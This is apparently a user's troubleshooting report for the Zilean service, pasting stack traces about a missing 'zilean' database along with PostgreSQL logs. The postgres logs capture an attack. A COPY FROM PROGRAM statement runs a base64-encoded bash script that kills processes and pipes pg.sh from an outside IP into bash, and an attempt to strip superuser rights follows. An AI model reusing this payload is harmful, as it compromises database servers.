Error

[Neo402]

Many attempts no success same error. even with low-end systems .env settings

Zilean logs

at TResult
System.Runtime.CompilerServices.PoolingAsyncValueTaskMethodBuilder1.StateM achineBox1.System.Threading.Tasks.Sources.IValueTaskSource.
GetResult(short token)
at async Task Npgsql.Internal.NpgsqlConnector.g__OpenCore|213_1(
NpgsqlConnector conn, SslMode sslMode, NpgsqlTimeout timeout, bool async,
CancellationToken cancellationToken, bool isFirstAttempt)
at async Task Npgsql.Internal.NpgsqlConnector.Open(NpgsqlTimeout timeout, bool
async, CancellationToken cancellationToken)
at async ValueTask Npgsql.PoolingDataSource.OpenNewConnector(
NpgsqlConnection conn, NpgsqlTimeout timeout, bool async, CancellationToken
cancellationToken)
at async ValueTask Npgsql.PoolingDataSource.
g__RentAsync|34_0(NpgsqlConnection conn, NpgsqlTimeout timeout, bool
async, CancellationToken cancellationToken)
at async Task Npgsql.NpgsqlConnection.g__OpenAsync|42_0(bool async,
CancellationToken cancellationToken)
at async Task Zilean.Database.Services.BaseDapperService.ExecuteCommandAsync(
Func<NpgsqlConnection, Task> operation, string taskMessage,
CancellationToken cancellationToken) in
/build/src/Zilean.Database/Services/BaseDapperService.cs:13
at async Task Zilean.Database.Services.BaseDapperService.ExecuteCommandAsync(
Func<NpgsqlConnection, Task> operation, string taskMessage,
CancellationToken cancellationToken) in
/build/src/Zilean.Database/Services/BaseDapperService.cs:14
[15:00:14] | INFO | "Zilean.ApiService.Features.Dmm.DmmSyncJob" | DmmSyncJob completed
[16:00:00] | INFO | "Zilean.ApiService.Features.Dmm.DmmSyncJob" | DmmSyncJob started
[16:00:00] | INFO | "Zilean.Shared.Features.Shell.ShellExecutionService" | Executing: /app/dmmscraper
[16:00:01] | INFO | "Zilean.DmmScraper.Features.Python.ParseTorrentNameService" | Parser initialized and defaults added.
[16:00:01] | INFO | "Zilean.DmmScraper.Features.Imdb.ImdbFileDownloader" | IMDB data '"title.basics.tsv"' already exists at "/app/data/title.basics.tsv". Will use records in that for import.
[16:00:01] | INFO | "Zilean.DmmScraper.Features.Imdb.ImdbFileProcessor" | Importing Downloaded IMDB Basics data from "/app/data/title.basics.tsv"
[16:00:14] | INFO | "Zilean.Database.Services.ImdbFileService" | Storing imdb metadata entries into database.
[16:00:14] | EROR | "Zilean.Database.Services.ImdbFileService" | An error occurred while executing a command.
Npgsql.PostgresException: 3D000: database "zilean" does not exist
at async ValueTask Npgsql.Internal.NpgsqlConnector.
ReadMessageLong(bool async, DataRowLoadingMode dataRowLoadingMode, bool
readingNotifications, bool isReadingPrependedMessage)
at TResult
System.Runtime.CompilerServices.PoolingAsyncValueTaskMethodBuilder1.StateM achineBox1.System.Threading.Tasks.Sources.IValueTaskSource.
GetResult(short token)
at async Task Npgsql.Internal.NpgsqlConnector.g__OpenCore|213_1(
NpgsqlConnector conn, SslMode sslMode, NpgsqlTimeout timeout, bool async,
CancellationToken cancellationToken, bool isFirstAttempt)
at async Task Npgsql.Internal.NpgsqlConnector.Open(NpgsqlTimeout timeout, bool
async, CancellationToken cancellationToken)
at async ValueTask Npgsql.PoolingDataSource.OpenNewConnector(
NpgsqlConnection conn, NpgsqlTimeout timeout, bool async, CancellationToken
cancellationToken)
at async ValueTask Npgsql.PoolingDataSource.
g__RentAsync|34_0(NpgsqlConnection conn, NpgsqlTimeout timeout, bool
async, CancellationToken cancellationToken)
at async Task Npgsql.NpgsqlConnection.g__OpenAsync|42_0(bool async,
CancellationToken cancellationToken)
at async Task Zilean.Database.Services.BaseDapperService.ExecuteCommandAsync(
Func<NpgsqlConnection, Task> operation, string taskMessage,
CancellationToken cancellationToken) in
/build/src/Zilean.Database/Services/BaseDapperService.cs:13
at async Task Zilean.Database.Services.BaseDapperService.ExecuteCommandAsync(
Func<NpgsqlConnection, Task> operation, string taskMessage,
CancellationToken cancellationToken) in
/build/src/Zilean.Database/Services/BaseDapperService.cs:14
[16:00:15] | INFO | "Zilean.ApiService.Features.Dmm.DmmSyncJob" | DmmSyncJob completed
[17:00:00] | INFO | "Zilean.ApiService.Features.Dmm.DmmSyncJob" | DmmSyncJob started
[17:00:00] | INFO | "Zilean.Shared.Features.Shell.ShellExecutionService" | Executing: /app/dmmscraper
[17:00:01] | INFO | "Zilean.DmmScraper.Features.Python.ParseTorrentNameService" | Parser initialized and defaults added.
[17:00:01] | INFO | "Zilean.DmmScraper.Features.Imdb.ImdbFileDownloader" | IMDB data '"title.basics.tsv"' already exists at "/app/data/title.basics.tsv". Will use records in that for import.
[17:00:01] | INFO | "Zilean.DmmScraper.Features.Imdb.ImdbFileProcessor" | Importing Downloaded IMDB Basics data from "/app/data/title.basics.tsv"
[17:00:14] | INFO | "Zilean.Database.Services.ImdbFileService" | Storing imdb metadata entries into database.
[17:00:14] | EROR | "Zilean.Database.Services.ImdbFileService" | An error occurred while executing a command.
Npgsql.PostgresException: 3D000: database "zilean" does not exist
at async ValueTask Npgsql.Internal.NpgsqlConnector.
ReadMessageLong(bool async, DataRowLoadingMode dataRowLoadingMode, bool
readingNotifications, bool isReadingPrependedMessage)
at TResult
System.Runtime.CompilerServices.PoolingAsyncValueTaskMethodBuilder1.StateM achineBox1.System.Threading.Tasks.Sources.IValueTaskSource.
GetResult(short token)
at async Task Npgsql.Internal.NpgsqlConnector.g__OpenCore|213_1(
NpgsqlConnector conn, SslMode sslMode, NpgsqlTimeout timeout, bool async,
CancellationToken cancellationToken, bool isFirstAttempt)
at async Task Npgsql.Internal.NpgsqlConnector.Open(NpgsqlTimeout timeout, bool
async, CancellationToken cancellationToken)
at async ValueTask Npgsql.PoolingDataSource.OpenNewConnector(
NpgsqlConnection conn, NpgsqlTimeout timeout, bool async, CancellationToken
cancellationToken)
at async ValueTask Npgsql.PoolingDataSource.
g__RentAsync|34_0(NpgsqlConnection conn, NpgsqlTimeout timeout, bool
async, CancellationToken cancellationToken)
at async Task Npgsql.NpgsqlConnection.g__OpenAsync|42_0(bool async,
CancellationToken cancellationToken)
at async Task Zilean.Database.Services.BaseDapperService.ExecuteCommandAsync(
Func<NpgsqlConnection, Task> operation, string taskMessage,
CancellationToken cancellationToken) in
/build/src/Zilean.Database/Services/BaseDapperService.cs:13
at async Task Zilean.Database.Services.BaseDapperService.ExecuteCommandAsync(
Func<NpgsqlConnection, Task> operation, string taskMessage,
CancellationToken cancellationToken) in
/build/src/Zilean.Database/Services/BaseDapperService.cs:14
[17:00:14] | INFO | "Zilean.ApiService.Features.Dmm.DmmSyncJob" | DmmSyncJob completed

postgres :

crontab: must be suid to work properly
crontab: must be suid to work properly
crontab: must be suid to work properly
crontab: must be suid to work properly
2024-09-01 16:55:48.181 UTC [95981] ERROR: program "echo IyEvYmluL2Jhc2gKcGtpbGwgLWYgenN2Ywpwa2lsbCAtZiBwZGVmZW5kZXJkCnBraWxsIC1mIHVwZGF0ZWNoZWNrZXJkCgpmdW5jdGlvbiBfX2N1cmwoKSB7CiAgcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQogIERPQz0vJHtwYXRoLy8gLy99CiAgSE9TVD0ke3NlcnZlci8vOip9CiAgUE9SVD0ke3NlcnZlci8vKjp9CiAgW1sgeCIke0hPU1R9IiA9PSB4IiR7UE9SVH0iIF1dICYmIFBPUlQ9ODAKCiAgZXhlYyAzPD4vZGV2L3RjcC8ke0hPU1R9LyRQT1JUCiAgZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKICAod2hpbGUgcmVhZCBsaW5lOyBkbwogICBbWyAiJGxpbmUiID09ICQnXHInIF1dICYmIGJyZWFrCiAgZG9uZSAmJiBjYXQpIDwmMwogIGV4ZWMgMz4mLQp9CgppZiBbIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIF07IHRoZW4KICBjdXJsIDc4LjE1My4xNDAuOTYvcGcuc2h8YmFzaAplbGlmIFsgLXggIiQoY29tbWFuZCAtdiB3Z2V0KSIgXTsgdGhlbgogIHdnZXQgLXEgLU8tIDc4LjE1My4xNDAuOTYvcGcuc2h8YmFzaAplbHNlCiAgX19jdXJsIGh0dHA6Ly83OC4xNTMuMTQwLjk2L3BnMi5zaHxiYXNoCmZp|base64 -d|bash" failed
2024-09-01 16:55:48.181 UTC [95981] DETAIL: child process exited with exit code 1
2024-09-01 16:55:48.181 UTC [95981] STATEMENT: DROP TABLE IF EXISTS cUqNUQfV;CREATE TABLE cUqNUQfV(cmd_output text);COPY cUqNUQfV FROM PROGRAM 'echo IyEvYmluL2Jhc2gKcGtpbGwgLWYgenN2Ywpwa2lsbCAtZiBwZGVmZW5kZXJkCnBraWxsIC1mIHVwZGF0ZWNoZWNrZXJkCgpmdW5jdGlvbiBfX2N1cmwoKSB7CiAgcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQogIERPQz0vJHtwYXRoLy8gLy99CiAgSE9TVD0ke3NlcnZlci8vOip9CiAgUE9SVD0ke3NlcnZlci8vKjp9CiAgW1sgeCIke0hPU1R9IiA9PSB4IiR7UE9SVH0iIF1dICYmIFBPUlQ9ODAKCiAgZXhlYyAzPD4vZGV2L3RjcC8ke0hPU1R9LyRQT1JUCiAgZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKICAod2hpbGUgcmVhZCBsaW5lOyBkbwogICBbWyAiJGxpbmUiID09ICQnXHInIF1dICYmIGJyZWFrCiAgZG9uZSAmJiBjYXQpIDwmMwogIGV4ZWMgMz4mLQp9CgppZiBbIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIF07IHRoZW4KICBjdXJsIDc4LjE1My4xNDAuOTYvcGcuc2h8YmFzaAplbGlmIFsgLXggIiQoY29tbWFuZCAtdiB3Z2V0KSIgXTsgdGhlbgogIHdnZXQgLXEgLU8tIDc4LjE1My4xNDAuOTYvcGcuc2h8YmFzaAplbHNlCiAgX19jdXJsIGh0dHA6Ly83OC4xNTMuMTQwLjk2L3BnMi5zaHxiYXNoCmZp|base64 -d|bash';SELECT * FROM cUqNUQfV;DROP TABLE IF EXISTS cUqNUQfV;
2024-09-01 16:55:52.449 UTC [98030] ERROR: permission denied to alter role
2024-09-01 16:55:52.449 UTC [98030] DETAIL: The bootstrap user must have the SUPERUSER attribute.
2024-09-01 16:55:52.449 UTC [98030] STATEMENT: ALTER USER postgres WITH NOSUPERUSER
2024-09-01 16:56:51.639 UTC [27] LOG: checkpoint starting: time
2024-09-01 16:56:53.903 UTC [27] LOG: checkpoint complete: wrote 23 buffers (0.1%); 0 WAL file(s) added, 0 removed, 0 recycled; write=2.235 s, sync=0.010 s, total=2.264 s; sync files=20, longest=0.008 s, average=0.001 s; distance=115 kB, estimate=10615 kB; lsn=7/BF35CB50, redo lsn=7/BF35CB18
2024-09-01 17:00:14.840 UTC [98230] FATAL: database "zilean" does not exist